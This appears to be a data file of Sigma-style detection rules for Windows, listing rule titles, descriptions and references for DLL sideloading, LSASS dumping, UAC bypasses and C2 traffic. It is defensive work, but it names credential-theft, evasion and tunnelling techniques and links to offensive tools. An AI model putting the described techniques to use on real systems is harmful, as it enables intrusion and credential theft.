DLL Loaded From Suspicious Location Via Cmspt.EXE	Detects cmstp loading "dll" or "ocx" files from suspicious locations	https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml
Suspicious Appended Extension	Detects file renames where the target filename uses an uncommon double extension. Could indicate potential ransomware activity renaming files and adding a custom extension to the encrypted files, such as ".jpg.crypted", ".docx.locky", etc.	https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/, https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/
Amsi.DLL Loaded Via LOLBIN Process	Detects loading of "Amsi.dll" by a living of the land process. This could be an indication of a "PowerShell without PowerShell" attack	Internal Research, https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/
Potential Azure Browser SSO Abuse	Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user.	https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30
Suspicious Renamed Comsvcs DLL Loaded By Rundll32	Detects rundll32 loading a renamed comsvcs.dll to dump process memory	https://twitter.com/sbousseaden/status/1555200155351228419
CredUI.DLL Loaded By Uncommon Process	Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of "CredUIPromptForCredentials" or "CredUnPackAuthenticationBufferW".	https://securitydatasets.com/notebooks/atomic/windows/credential_access/SDWIN-201020013208.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password, https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa, https://github.com/S12cybersecurity/RDPCredentialStealer
Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded	Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.	https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump, https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html, https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6
PCRE.NET Package Image Load	Detects processes loading modules related to PCRE.NET package	https://twitter.com/rbmaslen/status/1321859647091970051, https://twitter.com/tifkin_/status/1321916444557365248
Load Of RstrtMgr.DLL By A Suspicious Process	Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.	https://www.crowdstrike.com/blog/windows-restart-manager-part-1/, https://www.crowdstrike.com/blog/windows-restart-manager-part-2/, https://web.archive.org/web/20231221193106/https://www.swascan.com/cactus-ransomware-malware-analysis/, https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-which-consumes-a-lot-of-processor-resources-to-wipe-Windows-computer-data--iThome.html
Load Of RstrtMgr.DLL By An Uncommon Process	Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.	https://www.crowdstrike.com/blog/windows-restart-manager-part-1/, https://www.crowdstrike.com/blog/windows-restart-manager-part-2/, https://web.archive.org/web/20231221193106/https://www.swascan.com/cactus-ransomware-malware-analysis/, https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-which-consumes-a-lot-of-processor-resources-to-wipe-Windows-computer-data--iThome.html
Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE	Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the "sdiageng.dll" library	https://www.securonix.com/blog/detecting-microsoft-msdt-dogwalk/
Time Travel Debugging Utility Usage - Image	Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.	https://lolbas-project.github.io/lolbas/Binaries/Tttracer/, https://twitter.com/mattifestation/status/1196390321783025666, https://twitter.com/oulusoyum/status/1191329746069655553
PowerShell Core DLL Loaded By Non PowerShell Process	Detects loading of essential DLLs used by PowerShell by non-PowerShell process. Detects behavior similar to meterpreter's "load powershell" extension.	https://adsecurity.org/?p=2921, https://github.com/p3nt4/PowerShdll
Suspicious Volume Shadow Copy Vssapi.dll Load	Detects the image load of VSS DLL by uncommon executables	https://github.com/ORCx41/DeleteShadowCopies
Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load	Detects the image load of VSS DLL by uncommon executables	https://github.com/ORCx41/DeleteShadowCopies
Suspicious Volume Shadow Copy VSS_PS.dll Load	Detects the image load of vss_ps.dll by uncommon executables	https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add, https://twitter.com/am0nsec/status/1412232114980982787
HackTool - SILENTTRINITY Stager DLL Load	Detects SILENTTRINITY stager dll loading activity	https://github.com/byt3bl33d3r/SILENTTRINITY
HackTool - SharpEvtMute DLL Load	Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool that tampers with the Windows event logs	https://github.com/bats3c/EvtMute
Potential DCOM InternetExplorer.Application DLL Hijack - Image Load	Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class	https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
Unsigned Image Loaded Into LSASS Process	Loading unsigned image (DLL, EXE) into LSASS process	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
CLR DLL Loaded Via Office Applications	Detects CLR DLL being loaded by an Office Product	https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
DotNET Assembly DLL Loaded Via Office Application	Detects any assembly DLL being loaded by an Office Product	https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
Active Directory Parsing DLL Loaded Via Office Application	Detects DSParse DLL being loaded by an Office Product	https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
GAC DLL Loaded Via Office Applications	Detects any GAC DLL being loaded by an Office Product	https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
Microsoft Excel Add-In Loaded From Uncommon Location	Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location	https://www.mandiant.com/resources/blog/lnk-between-browsers, https://wazuh.com/blog/detecting-xll-files-used-for-dropping-fin7-jssloader-with-wazuh/
Active Directory Kerberos DLL Loaded Via Office Application	Detects Kerberos DLL being loaded by an Office Product	https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
Microsoft VBA For Outlook Addin Loaded Via Outlook	Detects outlvba (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process	https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=58
VBA DLL Loaded Via Office Application	Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.	https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
PowerShell Core DLL Loaded Via Office Application	Detects PowerShell core DLL being loaded by an Office Product	Internal Research
Remote DLL Load Via Rundll32.EXE	Detects a remote DLL load event via "rundll32.exe".	https://github.com/gabe-k/themebleed, Internal Research
WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load	Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.	https://twitter.com/HunterPlaybook/status/1301207718355759107, https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/, https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html
Potential 7za.DLL Sideloading	Detects potential DLL sideloading of "7za.dll"	https://www.gov.pl/attachment/ee91f24d-3e67-436d-aa50-7fa56acf789d
Abusable DLL Potential Sideloading From Suspicious Location	Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations	https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html, https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/
Potential Antivirus Software DLL Sideloading	Detects potential DLL sideloading of DLLs that are part of antivirus software suchas McAfee, Symantec...etc	https://hijacklibs.net/
Potential appverifUI.DLL Sideloading	Detects potential DLL sideloading of "appverifUI.dll"	https://web.archive.org/web/20220519091349/https://fatrodzianko.com/2020/02/15/dll-side-loading-appverif-exe/
Aruba Network Service Potential DLL Sideloading	Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access "arubanetsvc.exe" process using DLL Search Order Hijacking	https://twitter.com/wdormann/status/1616581559892545537?t=XLCBO9BziGzD7Bmbt8oMEQ&s=09
Potential AVKkid.DLL Sideloading	Detects potential DLL sideloading of "AVKkid.dll"	https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/
Potential CCleanerDU.DLL Sideloading	Detects potential DLL sideloading of "CCleanerDU.dll"	https://lab52.io/blog/2344-2/
Potential CCleanerReactivator.DLL Sideloading	Detects potential DLL sideloading of "CCleanerReactivator.dll"	https://lab52.io/blog/2344-2/
Potential Chrome Frame Helper DLL Sideloading	Detects potential DLL sideloading of "chrome_frame_helper.dll"	https://hijacklibs.net/entries/3rd_party/google/chrome_frame_helper.html
Potential DLL Sideloading Via ClassicExplorer32.dll	Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software	https://blogs.blackberry.com/en/2022/12/mustang-panda-uses-the-russian-ukrainian-war-to-attack-europe-and-asia-pacific-targets, https://app.any.run/tasks/6d8cabb0-dcda-44b6-8050-28d6ce281687/
Potential DLL Sideloading Via comctl32.dll	Detects potential DLL sideloading using comctl32.dll to obtain system privileges	https://github.com/binderlabs/DirCreate2System, https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt
Potential DLL Sideloading Using Coregen.exe	Detect usage of the "coregen.exe" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Coregen/
Potential DLL Sideloading Of DBGCORE.DLL	Detects DLL sideloading of "dbgcore.dll"	https://hijacklibs.net/
System Control Panel Item Loaded From Uncommon Location	Detects image load events of system control panel items (.cpl) from uncommon or non-system locations which might be the result of sideloading.	https://www.hexacorn.com/blog/2024/01/06/1-little-known-secret-of-fondue-exe/, https://www.hexacorn.com/blog/2024/01/01/1-little-known-secret-of-hdwwiz-exe/
Potential DLL Sideloading Of DBGHELP.DLL	Detects potential DLL sideloading of "dbghelp.dll"	https://hijacklibs.net/
Potential DLL Sideloading Of DbgModel.DLL	Detects potential DLL sideloading of "DbgModel.dll"	https://hijacklibs.net/entries/microsoft/built-in/dbgmodel.html
Potential EACore.DLL Sideloading	Detects potential DLL sideloading of "EACore.dll"	https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/
Potential Edputil.DLL Sideloading	Detects potential DLL sideloading of "edputil.dll"	https://alternativeto.net/news/2023/5/cybercriminals-use-wordpad-vulnerability-to-spread-qbot-malware/
Potential System DLL Sideloading From Non System Locations	Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.).	https://hijacklibs.net/, https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/, https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/, https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md, https://www.hexacorn.com/blog/2023/12/26/1-little-known-secret-of-runonce-exe-32-bit/
Potential Goopdate.DLL Sideloading	Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE	Detects potential DLL sideloading of "libcurl.dll" by the "gup.exe" process from an uncommon location	https://labs.withsecure.com/publications/fin7-target-veeam-servers
Potential Iviewers.DLL Sideloading	Detects potential DLL sideloading of "iviewers.dll" (OLE/COM Object Interface Viewer)	https://www.secureworks.com/research/shadowpad-malware-analysis
Potential DLL Sideloading Via JsSchHlp	Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor	https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/, http://www.windowexe.com/bbs/board.php?q=jsschhlp-exe-c-program-files-common-files-justsystem-jsschhlp-jsschhlp
Potential DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE	Detects potential DLL side loading of "KeyScramblerIE.dll" by "KeyScrambler.exe". Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe".	https://thehackernews.com/2024/03/two-chinese-apt-groups-ramp-up-cyber.html, https://csirt-cti.net/2024/02/01/stately-taurus-continued-new-information-on-cyberespionage-attacks-against-myanmar-military-junta/, https://bazaar.abuse.ch/sample/5cb9876681f78d3ee8a01a5aaa5d38b05ec81edc48b09e3865b75c49a2187831/, https://twitter.com/Max_Mal_/status/1775222576639291859, https://twitter.com/DTCERT/status/1712785426895839339
Potential Libvlc.DLL Sideloading	Detects potential DLL sideloading of "libvlc.dll", a DLL that is legitimately used by "VLC.exe"	https://www.trendmicro.com/en_us/research/23/c/earth-preta-updated-stealthy-strategies.html, https://hijacklibs.net/entries/3rd_party/vlc/libvlc.html
Potential Mfdetours.DLL Sideloading	Detects potential DLL sideloading of "mfdetours.dll". While using "mftrace.exe" it can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.	Internal Research
Unsigned Mfdetours.DLL Sideloading	Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.	Internal Research
Potential DLL Sideloading Of MpSvc.DLL	Detects potential DLL sideloading of "MpSvc.dll".	https://hijacklibs.net/entries/microsoft/built-in/mpsvc.html
Potential DLL Sideloading Of MsCorSvc.DLL	Detects potential DLL sideloading of "mscorsvc.dll".	https://hijacklibs.net/entries/microsoft/built-in/mscorsvc.html
Potential DLL Sideloading Of Non-Existent DLLs From System Folders	Detects DLL sideloading of system DLLs that are not present on the system by default (at least not in system directories). Usually this technique is used to achieve UAC bypass or privilege escalation.	https://decoded.avast.io/martinchlumecky/png-steganography/, https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992, https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/, https://github.com/Wh04m1001/SysmonEoP, https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/, http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
Microsoft Office DLL Sideload	Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location	https://hijacklibs.net/
Potential Python DLL SideLoading	Detects potential DLL sideloading of Python DLL files.	https://www.securonix.com/blog/seolurker-attack-campaign-uses-seo-poisoning-fake-google-ads-to-install-malware/, https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/, https://github.com/wietze/HijackLibs/tree/dc9c9f2f94e6872051dab58fbafb043fdd8b4176/yml/3rd_party/python
Potential Rcdll.DLL Sideloading	Detects potential DLL sideloading of rcdll.dll	https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html
Potential RjvPlatform.DLL Sideloading From Default Location	Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default.	https://twitter.com/0gtweet/status/1666716511988330499
Potential RjvPlatform.DLL Sideloading From Non-Default Location	Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location.	https://twitter.com/0gtweet/status/1666716511988330499
Potential RoboForm.DLL Sideloading	Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager	https://twitter.com/StopMalvertisin/status/1648604148848549888, https://twitter.com/t3ft3lb/status/1656194831830401024, https://www.roboform.com/
Potential ShellDispatch.DLL Sideloading	Detects potential DLL sideloading of "ShellDispatch.dll"	https://www.hexacorn.com/blog/2023/06/07/this-lolbin-doesnt-exist/
DLL Sideloading Of ShellChromeAPI.DLL	Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter	https://mobile.twitter.com/0gtweet/status/1564131230941122561, https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html
Potential SmadHook.DLL Sideloading	Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus	https://research.checkpoint.com/2023/malware-spotlight-camaro-dragons-tinynote-backdoor/, https://www.qurium.org/alerts/targeted-malware-against-crph/
Potential SolidPDFCreator.DLL Sideloading	Detects potential DLL sideloading of "SolidPDFCreator.dll"	https://lab52.io/blog/new-mustang-pandas-campaing-against-australia/
Third Party Software DLL Sideloading	Detects DLL sideloading of DLLs that are part of third party software (zoom, discord....etc)	https://hijacklibs.net/
Fax Service DLL Search Order Hijack	The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.	https://windows-internals.com/faxing-your-way-to-system/
Potential Vivaldi_elf.DLL Sideloading	Detects potential DLL sideloading of "vivaldi_elf.dll"	https://research.checkpoint.com/2023/beyond-the-horizon-traveling-the-world-on-camaro-dragons-usb-flash-drives/
VMGuestLib DLL Sideload	Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.	https://decoded.avast.io/martinchlumecky/png-steganography/
VMMap Signed Dbghelp.DLL Potential Sideloading	Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.	https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766
VMMap Unsigned Dbghelp.DLL Potential Sideloading	Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap.	https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766
Potential DLL Sideloading Via VMware Xfer	Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL	https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/
Potential Waveedit.DLL Sideloading	Detects potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software.	https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html
Potential Wazuh Security Platform DLL Sideloading	Detects potential DLL side loading of DLLs that are part of the Wazuh security platform	https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html
Potential Mpclient.DLL Sideloading	Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory.	https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool
Potential WWlib.DLL Sideloading	Detects potential DLL sideloading of "wwlib.dll"	https://twitter.com/WhichbufferArda/status/1658829954182774784, https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/, https://securelist.com/apt-luminousmoth/103332/
Windows Spooler Service Suspicious Binary Load	Detect DLL Load from Spooler Service backup folder	https://web.archive.org/web/20210629055600/https://github.com/hhlxf/PrintNightmare/, https://github.com/ly4k/SpoolFool
Unsigned Module Loaded by ClickOnce Application	Detects unsigned module load by ClickOnce application.	https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
DLL Load By System Process From Suspicious Locations	Detects when a system process (i.e. located in system32, syswow64, etc.) loads a DLL from a suspicious location or a location with permissive permissions such as "C:\Users\Public"	https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)
Python Image Load By Non-Python Process	Detects the image load of "Python Core" by a non-Python process. This might be indicative of a Python script bundled with Py2Exe.	https://www.py2exe.org/, https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/
DotNet CLR DLL Loaded By Scripting Applications	Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.	https://github.com/tyranid/DotNetToJScript, https://thewover.github.io/Introducing-Donut/, https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html, https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008
Unsigned DLL Loaded by Windows Utility	Detects windows utilities loading an unsigned or untrusted DLL. Adversaries often abuse those programs to proxy execution of malicious code.	https://www.elastic.co/security-labs/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion, https://akhere.hashnode.dev/hunting-unsigned-dlls-using-kql, https://unit42.paloaltonetworks.com/unsigned-dlls/?web_view=true
Suspicious Unsigned Thor Scanner Execution	Detects loading and execution of an unsigned thor scanner binary.	Internal Research
UAC Bypass Using Iscsicpl - ImageLoad	Detects the "iscsicpl.exe" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%	https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC, https://twitter.com/wdormann/status/1547583317410607110
UAC Bypass With Fake DLL	Attempts to load dismcore.dll after dropping it	https://steemit.com/utopian-io/@ah101/uac-bypassing-utility
WMIC Loading Scripting Libraries	Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).	https://securitydatasets.com/notebooks/atomic/windows/defense_evasion/SDWIN-201017061100.html, https://twitter.com/dez_/status/986614411711442944, https://lolbas-project.github.io/lolbas/Binaries/Wmic/
Wmiprvse Wbemcomn DLL Hijack	Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.	https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html
WMI Persistence - Command Line Event Consumer	Detects WMI command line event consumers	https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/
Suspicious WSMAN Provider Image Loads	Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.	https://twitter.com/chadtilbury/status/1275851297770610688, https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/, https://learn.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture, https://github.com/bohops/WSMan-WinRM
Network Connection Initiated By AddinUtil.EXE	Detects a network connection initiated by the Add-In deployment cache updating utility "AddInutil.exe". This could indicate a potential command and control communication as this tool doesn't usually initiate network activity.	https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html
Uncommon Connection to Active Directory Web Services	Detects uncommon network connections to the Active Directory Web Services (ADWS) from processes not typically associated with ADWS management.	https://medium.com/falconforce/soaphound-tool-to-collect-active-directory-data-via-adws-165aca78288c, https://github.com/FalconForceTeam/FalconFriday/blob/master/Discovery/ADWS_Connection_from_Unexpected_Binary-Win.md
Uncommon Network Connection Initiated By Certutil.EXE	Detects a network connection initiated by the certutil.exe utility. Attackers can abuse the utility in order to download malware or additional payloads.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
Outbound Network Connection Initiated By Cmstp.EXE	Detects a network connection initiated by Cmstp.EXE Its uncommon for "cmstp.exe" to initiate an outbound network connection. Investigate the source of such requests to determine if they are malicious.	https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/
Outbound Network Connection Initiated By Microsoft Dialer	Detects outbound network connection initiated by Microsoft Dialer. The Microsoft Dialer, also known as Phone Dialer, is a built-in utility application included in various versions of the Microsoft Windows operating system. Its primary function is to provide users with a graphical interface for managing phone calls via a modem or a phone line connected to the computer. This is an outdated process in the current conext of it's usage and is a common target for info stealers for process injection, and is used to make C2 connections, common example is "Rhadamanthys"	https://tria.ge/240301-rk34sagf5x/behavioral2, https://app.any.run/tasks/6720b85b-9c53-4a12-b1dc-73052a78477d, https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/, https://strontic.github.io/xcyclopedia/library/dialer.exe-0B69655F912619756C704A0BF716B61F.html
Network Connection Initiated To AzureWebsites.NET By Non-Browser Process	Detects an initiated network connection by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site.	https://www.sentinelone.com/labs/wip26-espionage-threat-actors-abuse-cloud-infrastructure-in-targeted-telco-attacks/, https://symantec-enterprise-blogs.security.com/threat-intelligence/harvester-new-apt-attacks-asia, https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/, https://intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/
Network Connection Initiated To BTunnels Domains	Detects network connections to BTunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.	https://defr0ggy.github.io/research/Utilizing-BTunnel-For-Data-Exfiltration/
Network Connection Initiated To Cloudflared Tunnels Domains	Detects network connections to Cloudflared tunnels domains initiated by a process on the system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.	https://defr0ggy.github.io/research/Abusing-Cloudflared-A-Proxy-Service-To-Host-Share-Applications/, https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/, Internal Research
Network Communication With Crypto Mining Pool	Detects initiated network connections to crypto mining pools	https://www.poolwatch.io/coin/monero, https://github.com/stamparm/maltrail/blob/3ea70459b9559134449423c0a7d8b965ac5c40ea/trails/static/suspicious/crypto_mining.txt, https://www.virustotal.com/gui/search/behaviour_network%253A*.miningocean.org/files
New Connection Initiated To Potential Dead Drop Resolver Domain	Detects an executable, which is not an internet browser or known application, initiating network connections to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks. In this context attackers leverage known websites such as "facebook", "youtube", etc. In order to pass through undetected.	https://web.archive.org/web/20220830134315/https://content.fireeye.com/apt-41/rpt-apt41/, https://securelist.com/the-tetrade-brazilian-banking-malware/97779/, https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html, https://github.com/kleiton0x00/RedditC2, https://twitter.com/kleiton0x7e/status/1600567316810551296, https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al
Network Connection Initiated To DevTunnels Domain	Detects network connections to Devtunnels domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.	https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2, https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/security, https://cydefops.com/devtunnels-unleashed
Suspicious Dropbox API Usage	Detects an executable that isn't dropbox but communicates with the Dropbox API	https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb, https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east
Suspicious Network Connection to IP Lookup Service APIs	Detects external IP address lookups by non-browser processes via services such as "api.ipify.org". This could be indicative of potential post compromise internet test activity.	https://github.com/rsp/scripts/blob/c8bb272d68164a9836e4f273d8f924927f39b8c6/externalip-benchmark.md, https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-302a, https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/, https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
Suspicious Non-Browser Network Communication With Google API	Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet)	https://github.com/looCiprian/GC2-sheet, https://youtu.be/n2dFlSaBBKo, https://services.google.com/fh/files/blogs/gcat_threathorizons_full_apr2023.pdf, https://www.tanium.com/blog/apt41-deploys-google-gc2-for-attacks-cyber-threat-intelligence-roundup/, https://www.bleepingcomputer.com/news/security/hackers-abuse-google-command-and-control-red-team-tool-in-attacks/
